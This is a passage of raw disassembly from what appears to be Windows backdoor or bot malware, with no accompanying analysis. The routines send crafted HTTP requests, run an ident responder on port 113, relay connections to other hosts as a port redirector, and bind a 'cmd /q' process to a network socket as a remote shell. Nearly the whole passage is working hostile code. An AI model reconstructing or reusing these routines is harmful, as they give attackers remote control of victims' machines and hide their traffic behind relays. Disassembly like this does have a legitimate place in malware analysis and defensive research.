loc_40E7E8:				; CODE XREF: sub_40E7CB+17j
		push	edi
		inc	esi
		call	sub_414EC0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40E7DE


loc_40E7F4:				; CODE XREF: sub_40E7CB+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40E7CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7F9	proc near		; CODE XREF: sub_401C87+429Dp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4D65D8	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4D66E8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4D6668	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_408766
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4D6610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E8D6
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40E872
		mov	eax, offset dword_4D93A8


loc_40E872:				; CODE XREF: sub_40E7F9+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4D66B8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_419330
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4D6680	; recv
		pop	esi


loc_40E8D6:				; CODE XREF: sub_40E7F9+6Bj
		push	ebx
		call	dword_4D6700	; closesocket
		call	dword_4D65C0	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_417CB0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40E916
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_40E916:				; CODE XREF: sub_40E7F9+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40E7F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E91A	proc near		; DATA XREF: sub_401404+430o
					; sub_401C87+2D50o

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4D6668	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4D66E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40EA7B
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_4495AC[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4D6694	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA7B
		push	5
		push	ebx
		call	dword_4D6690	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA7B
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_40E9A5:				; CODE XREF: sub_40E91A+EAj
					; sub_40E91A+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4D66FC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40EA76
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4415B8
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_40F927
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4D6680	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E9A5
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_41198E
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_417700
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_409361
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E9A5
		mov	[ebp+var_8], 1
		jmp	loc_40E9A5
; ---------------------------------------------------------------------------


loc_40EA76:				; CODE XREF: sub_40E91A+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_40EAA2


loc_40EA7B:				; CODE XREF: sub_40E91A+47j
					; sub_40E91A+6Bj ...
		call	dword_4D65FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4415FC
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_40F927
		add	esp, 10h


loc_40EAA2:				; CODE XREF: sub_40E91A+15Fj
		push	ebx
		call	dword_4D6700	; closesocket
		push	[ebp+var_4]
		call	dword_4D6700	; closesocket
		push	[ebp+arg_0]
		call	sub_409979
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40E91A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EAC5	proc near		; DATA XREF: sub_401C87+4D82o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4D6668	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4D66E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40EC30
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_4495AC[ecx], eax
		call	dword_4D6578	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D6694	; bind
		test	eax, eax
		jnz	loc_40EC30
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4D6690	; listen
		test	eax, eax
		jnz	loc_40EC30


loc_40EB75:				; CODE XREF: sub_40EAC5+C6j
					; sub_40EAC5+166j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66FC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40EB75
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_441628
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_409663
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_4495A4[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_40EC55
		push	esi
		push	esi
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4495B4[ecx], eax
		jnz	short loc_40EC26
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441670
		call	sub_40F99B
		pop	ecx
		pop	ecx
		jmp	short loc_40EC33
; ---------------------------------------------------------------------------


loc_40EC1E:				; CODE XREF: sub_40EAC5+164j
		push	32h
		call	dword_4E033C	; Sleep


loc_40EC26:				; CODE XREF: sub_40EAC5+142j
		cmp	[ebp+var_30], esi
		jz	short loc_40EC1E
		jmp	loc_40EB75
; ---------------------------------------------------------------------------


loc_40EC30:				; CODE XREF: sub_40EAC5+63j
					; sub_40EAC5+97j ...
		mov	edi, [ebp+arg_0]


loc_40EC33:				; CODE XREF: sub_40EAC5+157j
		push	edi
		call	dword_4D6700	; closesocket
		push	[ebp+arg_0]
		call	dword_4D6700	; closesocket
		push	[ebp+var_40]
		call	sub_409979
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
sub_40EAC5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EC55	proc near		; DATA XREF: sub_40EAC5+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_4181D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_4D66E8	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_40EDB8
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4D6668	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4D66A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40ECE5
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4D66EC	; gethostbyname
		jmp	short loc_40ECF3
; ---------------------------------------------------------------------------


loc_40ECE5:				; CODE XREF: sub_40EC55+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4D6620	; gethostbyaddr


loc_40ECF3:				; CODE XREF: sub_40EC55+8Ej
		cmp	eax, edi
		jz	loc_40EDB8
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4D6610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EDB8
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4416B0
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_409663
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_4495AC[ebx]
		mov	dword_4495A4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4495B0[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_40EE3D
		push	edi
		push	edi
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4495B4[ecx], eax
		jnz	short loc_40EDF1
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4416F8
		call	sub_40F99B
		pop	ecx
		pop	ecx


loc_40EDB8:				; CODE XREF: sub_40EC55+44j
					; sub_40EC55+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_4495AC[eax]
		call	dword_4D6700	; closesocket
		push	[ebp+arg_0]
		call	dword_4D6700	; closesocket
		push	[ebp+var_4]
		call	sub_409979
		pop	ecx
		push	edi
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx


loc_40EDE9:				; CODE XREF: sub_40EC55+19Fj
		push	32h
		call	dword_4E033C	; Sleep


loc_40EDF1:				; CODE XREF: sub_40EC55+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_40EDE9
		mov	ebx, 1000h


loc_40EDFB:				; CODE XREF: sub_40EC55+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4D6680	; recv
		cmp	eax, edi
		jle	short loc_40EDB8
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDFB
		jmp	loc_40EDB8
sub_40EC55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE3D	proc near		; DATA XREF: sub_40EC55+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_4181D0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40EE74:				; CODE XREF: sub_40EE3D+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_4495B0[esi]
		call	dword_4D6680	; recv
		test	eax, eax
		jle	short loc_40EEBB
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_4495AC[esi]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EE74


loc_40EEBB:				; CODE XREF: sub_40EE3D+61j
		push	dword_4495B0[esi]
		call	dword_4D6700	; closesocket
		push	[ebp+var_14]
		call	sub_409979
		pop	ecx
		push	0
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40F02F
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4495AC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4E0340
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F201
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40EF49
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441738
		call	sub_40F99B
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_40F029
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE3D+EDj
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F29F
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40EF8A
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441780
		call	sub_40F99B
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4E0378	; TerminateThread
		xor	eax, eax
		jmp	loc_40F02A
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EE3D+123j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_4E03F4	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_40EFE4
		dec	eax
		jz	short loc_40EFDE
		dec	eax
		jz	short loc_40EFCA
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4417C8
		call	sub_40F99B
		pop	ecx
		pop	ecx
		jmp	short loc_40EFF9
; ---------------------------------------------------------------------------


loc_40EFCA:				; CODE XREF: sub_40EE3D+176j
		mov	edi, dword_4E0378
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_40EFF9
; ---------------------------------------------------------------------------


loc_40EFDE:				; CODE XREF: sub_40EE3D+173j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40EFE8
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EE3D+170j
		push	ebx
		push	dword ptr [esi+14h]


loc_40EFE8:				; CODE XREF: sub_40EE3D+1A5j
		call	dword_4E0378	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4E03BC	; TerminateProcess


loc_40EFF9:				; CODE XREF: sub_40EE3D+18Bj
					; sub_40EE3D+19Fj
		push	dword ptr [esi+10h]
		mov	edi, dword_4E032C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4D6700	; closesocket
		push	esi
		call	sub_415C20
		xor	eax, eax
		inc	eax


loc_40F029:				; CODE XREF: sub_40EE3D+107j
		pop	ecx


loc_40F02A:				; CODE XREF: sub_40EE3D+148j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EE3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F02F	proc near		; CODE XREF: sub_40EE3D+AAp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_415090
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_40F119
		mov	ebx, dword_4E03C8
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_4E032C
		test	eax, eax
		jnz	short loc_40F092
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441800
		jmp	short loc_40F0B2
; ---------------------------------------------------------------------------


loc_40F092:				; CODE XREF: sub_40F02F+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_40F0BA
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441840


loc_40F0B2:				; CODE XREF: sub_40F02F+61j
		call	sub_40F99B
		pop	ecx
		jmp	short loc_40F0E8
; ---------------------------------------------------------------------------


loc_40F0BA:				; CODE XREF: sub_40F02F+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_40F128
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40F11D
		push	offset unk_441880
		call	sub_40F927


loc_40F0E8:				; CODE XREF: sub_40F02F+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40F0F4
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_40F0F4:				; CODE XREF: sub_40F02F+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_40F0FF
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_40F0FF:				; CODE XREF: sub_40F02F+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40F108
		push	eax
		call	edi	; CloseHandle


loc_40F108:				; CODE XREF: sub_40F02F+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40F112
		push	eax
		call	edi	; CloseHandle


loc_40F112:				; CODE XREF: sub_40F02F+DEj
		push	esi
		call	sub_415C20
		pop	ecx


loc_40F119:				; CODE XREF: sub_40F02F+1Dj
		xor	eax, eax
		jmp	short loc_40F123
; ---------------------------------------------------------------------------


loc_40F11D:				; CODE XREF: sub_40F02F+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_40F123:				; CODE XREF: sub_40F02F+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F02F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F128	proc near		; CODE XREF: sub_40F02F+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417700
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417700
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4E03C4
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4E03C0	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_4E0330	; CreateProcessA
		test	eax, eax
		jz	short loc_40F1E4
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4495A8[eax], ecx
		call	dword_4E032C	; CloseHandle
		jmp	short loc_40F1FA
; ---------------------------------------------------------------------------


loc_40F1E4:				; CODE XREF: sub_40F128+9Aj
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4418B0
		call	sub_40F99B
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_40F1FA:				; CODE XREF: sub_40F128+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F201	proc near		; DATA XREF: sub_40EE3D+DCo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_4E03B8
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_40F264
; ---------------------------------------------------------------------------


loc_40F218:				; CODE XREF: sub_40F201+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_40F24D


loc_40F223:				; CODE XREF: sub_40F201+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_40F23D
		cmp	dl, 0Dh
		jz	short loc_40F23D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_40F23D:				; CODE XREF: sub_40F201+2Cj
					; sub_40F201+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_40F223


loc_40F24D:				; CODE XREF: sub_40F201+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D66B8	; send
		test	eax, eax
		jle	short loc_40F27E


loc_40F264:				; CODE XREF: sub_40F201+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_40F218


loc_40F27E:				; CODE XREF: sub_40F201+61j
		mov	esi, dword_4E0350
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_40F29A
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4418E8
		call	sub_40F99B
		pop	ecx
		pop	ecx


loc_40F29A:				; CODE XREF: sub_40F201+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F201	endp


